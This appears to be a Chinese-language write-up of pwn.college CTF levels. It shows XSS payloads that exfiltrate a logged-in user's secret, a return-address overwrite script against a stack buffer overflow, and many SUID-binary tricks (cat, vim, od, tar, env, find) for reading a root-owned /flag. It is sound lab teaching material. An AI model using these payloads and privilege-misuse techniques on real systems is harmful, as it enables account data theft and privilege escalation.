r = requests.get('http://challenge.localhost/visit?url=http://challenge.localhost/echo?echo=<script>var xhttp = new XMLHttpRequest();xhttp.open("GET","http://challenge.localhost/info?user=1",true);xhttp.onreadystatechange = function(){document.getElementById("n").src = xhttp.responseText;};xhttp.send();</script><img src = "n" id="n">')
print(r.content.decode())

发现flag在get里面,我震惊

"GET /flag%20pwn.college{Iw5PLCtom_udyT1-ZfKq0ziXEhh.dlTOzMDL2QjMyMzW} HTTP/1.1" 404 -

level14 Exploit a cross site scripting vulnerability to exfilitrate user data

def level14():
    db.execute(("CREATE TABLE IF NOT EXISTS users AS "
                'SELECT "flag" AS username, ? as password'),
               (flag,))

    if request.path == "/login":
        if request.method == "POST":
            username = request.form.get("username")
            password = request.form.get("password")
            assert username, "Missing `username` form"
            assert password, "Missing `password` form"

            user = db.execute(f"SELECT rowid, * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
            assert user, "Invalid `username` or `password`"

            session["user"] = int(user["rowid"])
            return redirect(request.path)

        return form(["username", "password"])

    if request.path == "/info":
        session_user_id = int(session.get("user", -1))
        session_user = db.execute("SELECT * FROM users WHERE rowid = ?", (session_user_id,)).fetchone()

        request_user_id = int(request.args.get("user", session_user_id))
        request_user = db.execute("SELECT * FROM users WHERE rowid = ?", (request_user_id,)).fetchone()
        assert request_user, "Invalid `user`"

        info = [request_user["username"]]
        if request_user_id == session_user_id:
            info.append(request_user["password"])
        return " ".join(info) + "\n"

    if request.path == "/visit":
        url = request.args.get("url")
        assert url, "Missing `url` argument"

        url_arg_parsed = urllib.parse.urlparse(url)
        assert url_arg_parsed.hostname == challenge_host, f"Invalid `url`, hostname should be `{challenge_host}`"

        with run_browser() as browser:
            browser.get(f"http://{challenge_host}/login")

            user_form = {
                "username": "flag",
                "password": flag,
            }
            for name, value in user_form.items():
                field = browser.find_element(By.NAME, name)
                field.send_keys(value)

            submit_field = browser.find_element(By.ID, "submit")
            submit_field.submit()
            WebDriverWait(browser, 10).until(EC.staleness_of(submit_field))

            browser.get(url)
            time.sleep(1)

        return "Visited\n"

    if request.path == "/echo":
        echo = request.args.get("echo")
        assert echo, "Missing `echo` argument"
        return html(echo)

    return "Not Found\n", 404

这个也是不需要服务器的,和13的区别在于删去了http session那句话,也就是说不能读取出来然后在使用比如curl等方式传递这个cookie了,但是可以直接在js之中调用,也就是说,这个答案和level13是一样的!

import requests

r = requests.get('http://challenge.localhost/visit?url=http://challenge.localhost/echo?echo=<img src = "n" id="n"><script>var xhttp = new XMLHttpRequest();xhttp.open("GET","http://challenge.localhost/info?user=1",true);xhttp.onreadystatechange = function(){document.getElementById("n").src = this.responseText;};xhttp.send();</script>').content.decode()
print(r.text)

然后还是在get之中

GET /flag%20pwn.college{geCA9st3ZYLR66SVt816em8X9HG.dBDM0MDL2QjMyMzW}

level15 Exploit a (memory corruption) stack injection vulnerability

def level15():
    if "libgreet" not in globals():
        global libgreet
        shared_library_file = tempfile.NamedTemporaryFile("x", suffix=".so")
        gcc_args = ["/usr/bin/gcc", "-x", "c", "-shared", "-fPIC", "-fno-stack-protector", "-o", shared_library_file.name, "-"]
        subprocess.run(gcc_args, input=r"""
        #include <unistd.h>
        #include <fcntl.h>
        #include <stdio.h>
        #include <string.h>

        void __attribute__ ((constructor)) disable_buffering(void) {
          setvbuf(stdout, NULL, _IONBF, 0);
        }

        void win(void)
        {
          char flag[256] = { 0 };
          int flag_fd;

          puts("You win! Here is your flag:");

          flag_fd = open("/flag", 0);
          read(flag_fd, flag, sizeof(flag));
          puts(flag);
        }

        void * win_address(void)
        {
          return win;
        }

        void greet(char *name, size_t length)
        {
          char buffer[256] = { 0 };

          memcpy(buffer, "Hello, ", 7);
          memcpy(buffer + 7, name, length);
          memcpy(buffer + 7 + length, "!", 1);

          puts(buffer);
        }
        """.encode())
        libgreet = ctypes.CDLL(shared_library_file.name)
        libgreet.win_address.restype = ctypes.c_void_p

    if request.path == "/win_address":
        return f"{hex(libgreet.win_address())}\n"

    if request.path == "/greet":
        name = request.args.get("name")
        assert name, "Missing `name` argument"

        def stream_greet():
            r, w = os.pipe()
            pid = os.fork()

            if pid == 0:
                os.close(r)
                os.dup2(w, 1)
                name_buffer = ctypes.create_string_buffer(name.encode("latin"))
                libgreet.greet(name_buffer, len(name))
                os._exit(0)

            os.close(w)
            while True:
                data = os.read(r, 256)
                if not data:
                    break
                yield data
            os.wait()

        return stream_greet()

    return "Not Found\n", 404

很好,再次求助chatgpt:

这段代码定义了一个名为 level15() 的函数,它似乎是一个 Flask 路由处理程序。这个函数的作用是:

如果 libgreet 不在全局变量中,则使用 GCC 编译器编译一个共享库,并将其加载到 libgreet 变量中。这个共享库包含一个名为 win() 的函数,它会读取 /flag 文件并将其内容输出为标准输出流;还包含一个名为 greet() 的函数,它会将一个字符串参数作为问候语输出到标准输出流。这个共享库还包含一个名为 win_address() 的函数,它会返回 win() 函数的地址。

如果请求的路径为 /win_address,则返回 win() 函数的地址。

如果请求的路径为 /greet,则从请求参数中获取一个名为 name 的字符串参数,并使用 greet() 函数向客户端发送一条问候语。为了避免缓冲区溢出等安全问题,它使用了 ctypes.create_string_buffer() 函数来创建一个名为 name_buffer 的缓冲区,并将其传递给 greet() 函数。为了将 greet() 函数的输出流与客户端的响应流相连接,它使用了 Unix 管道和子进程来实现流式输出。

如果请求的路径不是 /win_address 或 /greet,则返回一个 404 响应。

总体来说,这个函数似乎是一个非常危险的路由处理程序,因为它使用了动态编译和加载共享库的技术,并且使用了 Unix 管道和子进程来实现流式输出。这些技术都可能会导致安全漏洞,例如缓冲区溢出、代码注入、代码执行等问题。建议谨慎使用这种技术,并且在使用时应该加强安全性的措施。

其实这个是很简单的shellcode。

hacker@web-security-level-15:~$ curl challenge.localhost/win_address
0x7fa506d8f1c5
hacker@web-security-level-15:~$

首先,在源码里没有win函数的地址,因此我们需要curl一下,然后拿到这个地址

hacker@web-security-level-15:~$ curl challenge.localhost/win_address
0x7fa506d8f1c5

然后,写脚本,逐步增加a的数量,希望逐渐增加 name 参数的长度。当 name 参数的长度达到一定值时,就会覆盖 greet() 函数的返回地址,

import requests
for i in range (250,270):
    address = ("a"*i + "\xc5\xf1\xd8\x06\xa5\x7f\x00\x00")
    params = {"name": address.encode("utf-8")}

    r = requests.get("http://challenge.localhost/greet",params=params)
    if "win" in r.text:
        print(r.text)

拿到flag

hacker@web-security-level-15:~$ python test.py
Hello, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaÅñØ¥
You win! Here is your flag:
pwn.college{EHqxRFRVOPcCUXWv8Sf1Qk3NLxi.dFDM0MDL2QjMyMzW}


hacker@web-security-level-15:~$

事实上打印了一下i发现是257 ,也就是说win函数紧挨着greet函数,可能这是题目故意设置的吧hhh。

level1

直接使用python内置的base64模块进行解码。

import base64

# Base64-encoded string
base64_string = "cHduLmNvbGxlZ2V7Z0dBNWR1UjdUVnJmYno5d0lweThmS1VnS1FrLmROek56TURMMlFqTXlNeld9Cg=="

# Decode the string to bytes
base64_bytes = base64_string.encode('ascii')
message_bytes = base64.b64decode(base64_bytes)

# Decode the bytes to UTF-8 string
message = message_bytes.decode('utf-8')

print(message)

ref

Base64编码和解码是一种将二进制数据转换为可打印ASCII字符格式的方法。该算法基于64个不同字符的子集,由大小写字母、数字、加号和正斜杠组成。

Base64编码的过程如下:

  1. 将输入的二进制数据按每6个比特进行分组
  2. 将每个6比特组转换为相应的Base64字符
  3. 如果剩余比特数不足6比特,则使用等号(=)补齐。

例如,将ASCII字符Man进行Base64编码,可以按以下方式进行:

ASCII字符:     M       a       n
ASCII码(二进制) 01001101 01100001 01101110
6比特分组:     010011 010110 000101 101110
Base64字符:     S       m       F       u

因此,Man的Base64编码为SmFu

Base64解码过程如下:

  1. 将Base64编码的字符串转换为对应的二进制数据
  2. 将二进制数据按每8个比特进行分组
  3. 将每个8比特组转换为相应的ASCII字符

例如,将SmFu进行Base64解码,可以按以下方式进行:

Base64字符:     S       m       F       u
6比特分组:     010011 010110 000101 101110
ASCII码(二进制) 01001101 01100001 01101110
ASCII字符:     M       a       n

因此,SmFu的Base64解码为Man

Base64编码和解码是一种常用的技术,用于在网络应用程序中传输二进制数据。通过编码二进制数据,可以确保它们传输时避免出现特殊字符或不受支持的格式。

level2

import base64

key_str = "xMQGl4LY1hyH7Khz155o3MedyLAedmm3H56HBvCvQHlzUkuTklt4ejKly8iRul/MH0kTNBGYpPGK3Q=="
ciphertext_str = "tLNoueG3unDii80I4/YptLXTj+NPJz7SZc7PWajGIREGIXvQ5ygwVFb3sYbr9xuALRh5eWjV3qb31w=="

# 解码密钥和密文
key = base64.b64decode(key_str)
ciphertext = base64.b64decode(ciphertext_str)

# 对密文使用密钥进行异或操作
plaintext = bytearray(len(ciphertext))
for i in range(len(ciphertext)):
    plaintext[i] = ciphertext[i] ^ key[i % len(key)]

# 将获得的字节序列转换为字符串
original_text = plaintext.decode('utf-8')

print(original_text)

CSE466

fall22

模块总结

program misuse

这个模块比较基础,大部分是让你认识linux下的各种工具。对新人(指至少熟悉其中部分工具但没接触过CTF的人)来说应该启发很大,很多工具虽然设计出来并不是为了读取文件内容,但是由于其支持调试、输出错误信息、甚至是调用其他程序等种种运行方式,你可以通过这些方法得到文件内容。其实我认为这是让你关注那些工具不常用的功能,比如我一直在使用tldr,但tldr之中没有不常用的参数,因此做了几个题以后就不太适合这个挑战了。同时,作为CTF人,应该对权限很敏感,在一个工具有suid的情况下,深挖这个工具。我想这就是这个模块所能带来的启发了。

讲解

YOUTUBE上pwn college上传了老师的讲解,大多数很细致,少部分没有完成给出过程,但都有思路,需要自己去实现。其实在实现了之后发现也就是这么回事儿,但是思考的过程有时候是痛苦的。

我参考过的所有链接

很多题,不同人的解法真是不一样,可以多看看,参考着做,会有启发的。

knowledge

基本知识

linux、命令行、进程、文件系统、目录、软连接和硬链接、路径(绝对、相对)、管道、重定向

ref

关于软连接,这里有几个不错的参考

然后是权限、提权的内容

这里需要明白权限、用户、用户组这些概念,以及非常非常重要的uid gid等内容

SUID: execute with the eUID of the file owner rather than the parent process.
SGID: execute with the eGID of the file owner rather than the parent process.
Sticky: used for shared directories to limit file removal to file owners.

Three different type of user and group IDs:

Effective (eUID, eGID): the UID/GID used for most access checks.
Real (UID, GID): the "real" UID (or GID) of the process owner, used for things such as signal checks.
Saved: a UID/GID that your process could switch its eUID/eGID to. Used for temporarily dropping privileges.
ref

challenges

useful shell

#!/bin/bash

# 进入/challenge目录
cd /challenge

# 获取该目录下唯一的文件名
filename=$(ls)

# 执行该文件
./$filename

then

sh filename.sh

level1 Lets you directly read the flag!

hacker@program-misuse-level-1:/challenge$ ./babysuid_level1
Welcome to ./babysuid_level1!

This challenge is part of a series of programs that
exposes you to very simple programs that let you directly read the flag.

I just set the SUID bit on /usr/bin/cat.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level1) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/cat!
hacker@program-misuse-level-1:/challenge$

已经给我uid了,然后我直接读取即可

hacker@program-misuse-level-1:/$ ls
bin  boot  challenge  dev  etc  flag  home  lib  lib32  lib64  libx32  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
hacker@program-misuse-level-1:/$ cat flag
pwn.college{gtmGRqQdewLiKKwB2Wi1NeBxX3w.01M0EDL2QjMyMzW}
hacker@program-misuse-level-1:/$

level2 Lets you directly read the flag!

hacker@program-misuse-level-2:/challenge$ ./babysuid_level2
Welcome to ./babysuid_level2!

This challenge is part of a series of programs that
exposes you to very simple programs that let you directly read the flag.

I just set the SUID bit on /usr/bin/more.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level2) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/more!
hacker@program-misuse-level-2:/challenge$

这个是用 more 读取

hacker@program-misuse-level-2:/challenge$ more /flag
pwn.college{g0orxg7_IfgidrE5G2scOM8wdRx.0FN0EDL2QjMyMzW}
hacker@program-misuse-level-2:/challenge$

level3 Lets you directly read the flag!

hacker@program-misuse-level-3:/challenge$ ./babysuid_level3
Welcome to ./babysuid_level3!

This challenge is part of a series of programs that
exposes you to very simple programs that let you directly read the flag.

I just set the SUID bit on /usr/bin/less.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level3) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/less!
hacker@program-misuse-level-3:/challenge$

这次是用less

hacker@program-misuse-level-3:/challenge$ less /flag
pwn.college{onJWxeGXCk8o-LqXlLemr-Xzk2W.0VN0EDL2QjMyMzW}
/flag (END)

less比more好用,记得使用q退出

level4 Lets you directly read the flag!

hacker@program-misuse-level-4:/challenge$ ./babysuid_level4
Welcome to ./babysuid_level4!

This challenge is part of a series of programs that
exposes you to very simple programs that let you directly read the flag.

I just set the SUID bit on /usr/bin/tail.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level4) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/tail!
hacker@program-misuse-level-4:/challenge$

tail

hacker@program-misuse-level-4:/challenge$ tail /flag
pwn.college{8A8n6zzy-sUTn179ZADopx1lzFV.0lN0EDL2QjMyMzW}
hacker@program-misuse-level-4:/challenge$

我现在猜下一个用head

level5 Lets you directly read the flag!

hacker@program-misuse-level-5:~$ sh file.sh
Welcome to ./babysuid_level5!

This challenge is part of a series of programs that
exposes you to very simple programs that let you directly read the flag.

I just set the SUID bit on /usr/bin/head.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level5) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/head!
hacker@program-misuse-level-5:~$

果然用head

hacker@program-misuse-level-5:~$ head /flag
pwn.college{wVl3wFV0tMkY6rAFaMWKvEoOt2R.01N0EDL2QjMyMzW}
hacker@program-misuse-level-5:~$

level6 Lets you directly read the flag!

hacker@program-misuse-level-6:~$ sh file.sh
Welcome to ./babysuid_level6!

This challenge is part of a series of programs that
exposes you to very simple programs that let you directly read the flag.

I just set the SUID bit on /usr/bin/sort.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level6) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/sort!
hacker@program-misuse-level-6:~$ sort /flag
pwn.college{wRB7HgX_kvB4Uro33D7t1UKWZcE.0FO0EDL2QjMyMzW}
hacker@program-misuse-level-6:~$

这次居然是用sort

这里做一个小总结,以上这几个工具都非常常用,而且经常是组合使用的,建议使用man阅读手册,然后多尝试搭配使用。

level7 Shows you that an over-privileged editor is a very powerful tool!

hacker@program-misuse-level-7:~$ sh file.sh
Welcome to ./babysuid_level7!

This challenge is part of a series of programs that
shows you that an over-privileged editor is a very powerful tool, indeed.

I just set the SUID bit on /usr/bin/vim.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level7) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/vim!
hacker@program-misuse-level-7:~$ vim /flag

从标题能看出来是用某种编辑工具,这次是vim

pwn.college{YA-02bwpz2aH0bVuFckXnVUE_a8.0VO0EDL2QjMyMzW}

我猜后边儿得有nano emacs等等

level8 Shows you that an over-privileged editor is a very powerful tool!

hacker@program-misuse-level-8:~$ sh file.sh
Welcome to ./babysuid_level8!

This challenge is part of a series of programs that
shows you that an over-privileged editor is a very powerful tool, indeed.

I just set the SUID bit on /usr/bin/emacs.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level8) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/emacs!

果然不出我所料hhh

pwn.college{sCKRHf2_yRVb3Q_MEPjyLzcoqdN.0FM1EDL2QjMyMzW}

emacs也是一个强大的工具,可以学一学。

这里退出命令是

level9 Shows you that an over-privileged editor is a very powerful tool!

hacker@program-misuse-level-9:~$ sh file.sh
Welcome to ./babysuid_level9!

This challenge is part of a series of programs that
shows you that an over-privileged editor is a very powerful tool, indeed.

I just set the SUID bit on /usr/bin/nano.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level9) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/nano!
hacker@program-misuse-level-9:~$ nano /flag

我果然料事如神

pwn.college{w4DHxmYT2HQw-wrXkHpQXqNmIWW.0VM1EDL2QjMyMzW}

退出命令是

level10 Requires you to understand their output to derive the flag from it!

切换 一句题外话,不同挑战之间无缝切换好快啊,很适合Linux直接用terminal链接!

hacker@program-misuse-level-10:~$ sh file.sh
Welcome to ./babysuid_level10!

This challenge is part of a series of programs that
require you to understand their output to derive the flag from it.

I just set the SUID bit on /usr/bin/rev.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level10) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/rev!

rev是反序输出的工具

但是难不住我

hacker@program-misuse-level-10:~$ rev /flag
}WzMyMjQ2LDE1Ml0.iqRmReNkY5WaIyBZQULv-MYk7kI{egelloc.nwp
hacker@program-misuse-level-10:~$ rev /flag | rev
pwn.college{Ik7kYM-vLUQZByIaW5YkNeRmRqi.0lM1EDL2QjMyMzW}
hacker@program-misuse-level-10:~$

level11 Requires you to understand their output to derive the flag from it!

hacker@program-misuse-level-11:~$ sh file.sh
Welcome to ./babysuid_level11!

This challenge is part of a series of programs that
require you to understand their output to derive the flag from it.

I just set the SUID bit on /usr/bin/od.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level11) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/od!

od通常用于以八进制或十六进制格式显示文件的内容。

hacker@program-misuse-level-11:~$ od -A x -t x1z -v /flag
000000 70 77 6e 2e 63 6f 6c 6c 65 67 65 7b 73 4b 47 35  >pwn.college{sKG5<
000010 6d 6b 70 75 44 35 38 63 71 76 44 65 33 32 39 4e  >mkpuD58cqvDe329N<
000020 57 6c 4f 36 31 41 39 2e 30 31 4d 31 45 44 4c 32  >WlO61A9.01M1EDL2<
000030 51 6a 4d 79 4d 7a 57 7d 0a                       >QjMyMzW}.<
000039
hacker@program-misuse-level-11:~$

看了文档就会了,这个命令直接写在文档里。

pwn.college{sKG5mkpuD58cqvDe329NWlO61A9.01M1EDL2QjMyMzW}

level12 Requires you to understand their output to derive the flag from it!

Welcome to ./babysuid_level12!

This challenge is part of a series of programs that
require you to understand their output to derive the flag from it.

I just set the SUID bit on /usr/bin/hd.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level12) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/hd!

奇怪的hd工具,十六进制的。

hacker@program-misuse-level-12:~$ hd /flag
00000000  70 77 6e 2e 63 6f 6c 6c  65 67 65 7b 6f 47 7a 69  |pwn.college{oGzi|
00000010  37 55 30 32 58 54 6c 5f  64 73 6e 50 43 77 73 42  |7U02XTl_dsnPCwsB|
00000020  52 38 6d 59 54 77 6d 2e  30 46 4e 31 45 44 4c 32  |R8mYTwm.0FN1EDL2|
00000030  51 6a 4d 79 4d 7a 57 7d  0a                       |QjMyMzW}.|
00000039
hacker@program-misuse-level-12:~$ man hd

这里已经可以直接复制了,但是希望有更简便的形势,去看了文档,但是没太研究明白,瞎整了一个输出

hacker@program-misuse-level-12:~$ hd -f /flag
hd: "pwn.college{oGzi7U02XTl_dsnPCwsBR8mYTwm.0FN1EDL2QjMyMzW}": bad format
hacker@program-misuse-level-12:~$

level13 Requires you to understand their output to derive the flag from it!

Welcome to ./babysuid_level13!

This challenge is part of a series of programs that
require you to understand their output to derive the flag from it.

I just set the SUID bit on /usr/bin/xxd.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level13) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/xxd!

xxd,是个二进制的工具。这个我会

hacker@program-misuse-level-13:~$ xxd /flag
00000000: 7077 6e2e 636f 6c6c 6567 657b 4d56 2d59  pwn.college{MV-Y
00000010: 6e5f 3465 4777 6c63 6f49 5438 4a63 574a  n_4eGwlcoIT8JcWJ
00000020: 6934 7764 2d53 692e 3056 4e31 4544 4c32  i4wd-Si.0VN1EDL2
00000030: 516a 4d79 4d7a 577d 0a                   QjMyMzW}.

然后手动复制…

pwn.college{MV-Yn_4eGwlcoIT8JcWJi4wd-Si.0VN1EDL2QjMyMzW}

level14 Requires you to understand their output to derive the flag from it!

hacker@program-misuse-level-14:~$ sh file.sh
Welcome to ./babysuid_level14!

This challenge is part of a series of programs that
require you to understand their output to derive the flag from it.

I just set the SUID bit on /usr/bin/base32.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level14) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/base32!

base32都出来了,就一个参数 -d

hacker@program-misuse-level-14:~$ base32 /flag
OB3W4LTDN5WGYZLHMV5UCT3NM4ZWGTLYK5YV6SCVOR2XC5CSMF4WM6LML5UWE4ZOGBWE4MKFIRGD
EULKJV4U26SXPUFA====
hacker@program-misuse-level-14:~$ base32 /flag | base32 -d
pwn.college{AOmg3cMxWq_HUtuqtRayfyl_ibs.0lN1EDL2QjMyMzW}
hacker@program-misuse-level-14:~$

那我猜下一个是base64

level15 Requires you to understand their output to derive the flag from it!

hacker@program-misuse-level-15:~$ sh file.sh
Welcome to ./babysuid_level15!

This challenge is part of a series of programs that
require you to understand their output to derive the flag from it.

I just set the SUID bit on /usr/bin/base64.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level15) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/base64!
hacker@program-misuse-level-15:~$

嘿嘿,果然

hacker@program-misuse-level-15:~$ base64 /flag | base64 -d
pwn.college{QvvMGkZ_gpVBCBw1u5dYReqKajl.01N1EDL2QjMyMzW}
hacker@program-misuse-level-15:~$

level16 Requires you to understand their output to derive the flag from it!

hacker@program-misuse-level-16:~$ sh file.sh
Welcome to ./babysuid_level16!

This challenge is part of a series of programs that
require you to understand their output to derive the flag from it.

I just set the SUID bit on /usr/bin/split.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level16) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/split!

split是一个分块的工具,但是由于题中的flag很小,还达不到它默认的限度(默认参数需要看手册),因此在运行

split /flag

之后,就会在文件夹之下有个输出文件。

hacker@program-misuse-level-16:~$ cat xaa
pwn.college{oqsgCLV3hcD9AXs5bELwauYQHup.0FO1EDL2QjMyMzW}

小总结,除了最近基本的进制、ascii等,base32和base64最好可以了解一下这两种编码方式

level17 Forces you to understand different archive formats!

hacker@program-misuse-level-17:~$ sh file.sh
Welcome to ./babysuid_level17!

This challenge is part of a series of programs that
force you to understand different archive formats.

I just set the SUID bit on /usr/bin/gzip.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level17) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/gzip!

牛马的gzip,压缩和解压缩,看来后几个都是这个意思

然后开始秒题

hacker@program-misuse-level-17:~$ gzip -f /flag -t
hacker@program-misuse-level-17:~$ ls /
bin   challenge  etc      home  lib32  libx32  mnt  proc  run   srv  tmp  var
boot  dev        flag.gz  lib   lib64  media   opt  root  sbin  sys  usr
hacker@program-misuse-level-17:~$ gzip -cd /flag.gz
pwn.college{QHVq0GV7-f7QFzzNe2jTzkeq6T8.0VO1EDL2QjMyMzW}
hacker@program-misuse-level-17:~$

level18 Forces you to understand different archive formats!

开始无聊起来了。。。

hacker@program-misuse-level-18:~$ sh file.sh
Welcome to ./babysuid_level18!

This challenge is part of a series of programs that
force you to understand different archive formats.

I just set the SUID bit on /usr/bin/bzip2.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level18) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/bzip2!

然后和上面的命令完全一样,就是压缩的格式和算法不同了

hacker@program-misuse-level-18:~$ bzip2 -f  /flag
hacker@program-misuse-level-18:~$ ls /
bin   challenge  etc       home  lib32  libx32  mnt  proc  run   srv  tmp  var
boot  dev        flag.bz2  lib   lib64  media   opt  root  sbin  sys  usr
hacker@program-misuse-level-18:~$ bzip2 -cd /flag.bz2
pwn.college{wkf3JjpEoyTnVUz5mUbAtllNMRn.0FM2EDL2QjMyMzW}
hacker@program-misuse-level-18:~$

level19 Forces you to understand different archive formats!

Welcome to ./babysuid_level19!

This challenge is part of a series of programs that
force you to understand different archive formats.

I just set the SUID bit on /usr/bin/zip.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level19) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/zip!

这几个题可有点儿烦人了啊!

hacker@program-misuse-level-19:~$ cat /flag.zip
PK
V3199flagUT	�dBdux
                      pwn.college{YFFLGakdSzjIgW7btl64EaiEyDf.0VM2EDL2QjMyMzW}
PK
V3199flagUT�dux
               PKJwhacker@program-misuse-level-19:~$

正确的方式应该是先解压,但是貌似能直接看,我就没管

level20 Forces you to understand different archive formats!

hacker@program-misuse-level-20:~$ sh file.sh
Welcome to ./babysuid_level20!

This challenge is part of a series of programs that
force you to understand different archive formats.

I just set the SUID bit on /usr/bin/tar.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level20) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/tar!

tar比较常见。

hacker@program-misuse-level-20:~$ tar cf /flag.tar /flag
tar: Removing leading `/' from member names
hacker@program-misuse-level-20:~$ ls /
bin   challenge  etc   flag.tar  lib    lib64   media  opt   root  sbin  sys  usr
boot  dev        flag  home      lib32  libx32  mnt    proc  run   srv   tmp  var
hacker@program-misuse-level-20:~$ cat /flag.tar
flag0000400000000000000000000000007114456374677010423 0ustar  rootrootpwn.college{YNojFHYmMjDXxa2MP_mFcpOEIIo.0lM2EDL2QjMyMzW}
hacker@program-misuse-level-20:~$

好像都可以直接用cat看压缩包,那么就比较简单了

level21 Forces you to understand different archive formats!

hacker@program-misuse-level-21:~$ sh file.sh
Welcome to ./babysuid_level21!

This challenge is part of a series of programs that
force you to understand different archive formats.

I just set the SUID bit on /usr/bin/ar.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level21) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/ar!

ar工具,集合很多文档存成一个文档的工具

hacker@program-misuse-level-21:~$ ar rs /flag.a /flag
ar: creating /flag.a
hacker@program-misuse-level-21:~$ cat /flag.a
!<arch>
flag/           0           0     0     644     57        `
pwn.college{0vq28yii-jRYCSQP_DtM3bkf8ee.01M2EDL2QjMyMzW}

hacker@program-misuse-level-21:~$

level22 Forces you to understand different archive formats!

hacker@program-misuse-level-22:~$ sh file.sh
Welcome to ./babysuid_level22!

This challenge is part of a series of programs that
force you to understand different archive formats.

I just set the SUID bit on /usr/bin/cpio.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level22) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/cpio!

cpio工具,用于文件备份的

hacker@program-misuse-level-22:~$  find /flag | cpio -ov > archive.cpio
/flag
1 block
hacker@program-misuse-level-22:~$ ls /
bin   challenge  etc   home  lib32  libx32  mnt  proc  run   srv  tmp  var
boot  dev        flag  lib   lib64  media   opt  root  sbin  sys  usr
hacker@program-misuse-level-22:~$ ls
Desktop    Downloads  Pictures  Templates  archive.cpio  file.sh
Documents  Music      Public    Videos     core          test.py
hacker@program-misuse-level-22:~$ cat archive.cpio
�wd�9/flagpwn.college{om324dLj5vHeY7kTe9p_qAFQ1Cy.0FN2EDL2QjMyMzW}
�
 TRAILER!!!hacker@program-misuse-level-22:~$

level23 Forces you to understand different archive formats!

hacker@program-misuse-level-23:~$ sh file.sh
Welcome to ./babysuid_level23!

This challenge is part of a series of programs that
force you to understand different archive formats.

I just set the SUID bit on /usr/bin/genisoimage.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level23) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/genisoimage!

genisoimage工具,能看出来作用是建立ISO 9660映像文件

er@program-misuse-level-23:~$  genisoimage -sort /flag
genisoimage: Incorrect sort file format
        pwn.college{YROFw7Q_KvLF86Vs3WeI_XDvziT.0VN2EDL2QjMyMzW}
hacker@program-misuse-level-23:~$

这块儿好像cat不太星了,输出会打乱shell

小总结:倒是知道了很多以前不知道的工具。

level24 Enables you to read flags by making them execute other commands!

sh hacker@program-misuse-level-24:~$ sh file.sh
Welcome to ./babysuid_level24!

This challenge is part of a series of programs that
will enable you to read flags by making them execute other commands.

I just set the SUID bit on /usr/bin/env.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level24) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/env!

开始有意思起来了。

hacker@program-misuse-level-24:~$ env cat /flag
pwn.college{8rPxiO1f2sBGHUvcT83glFWNSpM.0lN2EDL2QjMyMzW}
hacker@program-misuse-level-24:~$

env可以给其他的程序赋权?感觉是这个意思,当然出题人想要的意思应该是需要先设一个shell,然后执行。

level25 Enables you to read flags by making them execute other commands!

hacker@program-misuse-level-25:~$ sh file.sh
Welcome to ./babysuid_level25!

This challenge is part of a series of programs that
will enable you to read flags by making them execute other commands.

I just set the SUID bit on /usr/bin/find.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level25) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/find!

使用find

